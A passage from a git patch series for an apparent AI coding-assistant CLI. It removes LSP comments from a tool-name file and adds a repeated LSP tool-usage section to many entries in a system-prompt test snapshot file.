references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. diff --git a/packages/core/src/tools/tool-names.ts b/packages/core/src/tools/tool-names.ts index aa3687aba..7976ba461 100644 --- a/packages/core/src/tools/tool-names.ts +++ b/packages/core/src/tools/tool-names.ts @@ -25,7 +25,6 @@ export const ToolNames = { WEB_FETCH: 'web_fetch', WEB_SEARCH: 'web_search', LS: 'list_directory', - /** Unified LSP tool supporting all LSP operations. */ LSP: 'lsp', } as const; @@ -50,7 +49,6 @@ export const ToolDisplayNames = { WEB_FETCH: 'WebFetch', WEB_SEARCH: 'WebSearch', LS: 'ListFiles', - /** Unified LSP tool display name. */ LSP: 'Lsp', } as const; @@ -60,9 +58,6 @@ export const ToolDisplayNames = { export const ToolNamesMigration = { search_file_content: ToolNames.GREP, // Legacy name from grep tool replace: ToolNames.EDIT, // Legacy name from edit tool - // Legacy LSP tools now use unified LSP tool with operation parameter - go_to_definition: ToolNames.LSP, - find_references: ToolNames.LSP, } as const; // Migration from old tool display names to new tool display names From e3e2f52a12ab7a2fd8c99be8b565746bd146a959 Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Sun, 25 Jan 2026 23:49:23 +0800 Subject: [PATCH 33/79] feat(core): fix ci:test --- .../core/__snapshots__/prompts.test.ts.snap | 195 ++++++++++++++++++ packages/core/src/tools/lsp.test.ts | 12 +- 2 files changed, 206 insertions(+), 1 deletion(-) diff --git a/packages/core/src/core/__snapshots__/prompts.test.ts.snap b/packages/core/src/core/__snapshots__/prompts.test.ts.snap index 0c0b6c6ad..6d1eff9fc 100644 --- a/packages/core/src/core/__snapshots__/prompts.test.ts.snap +++ b/packages/core/src/core/__snapshots__/prompts.test.ts.snap @@ -124,6 +124,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -343,6 +356,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -572,6 +598,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -786,6 +825,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -1000,6 +1052,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -1214,6 +1279,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -1428,6 +1506,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -1642,6 +1733,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -1856,6 +1960,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -2070,6 +2187,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -2307,6 +2437,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -2604,6 +2747,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -2841,6 +2997,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -3134,6 +3303,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** 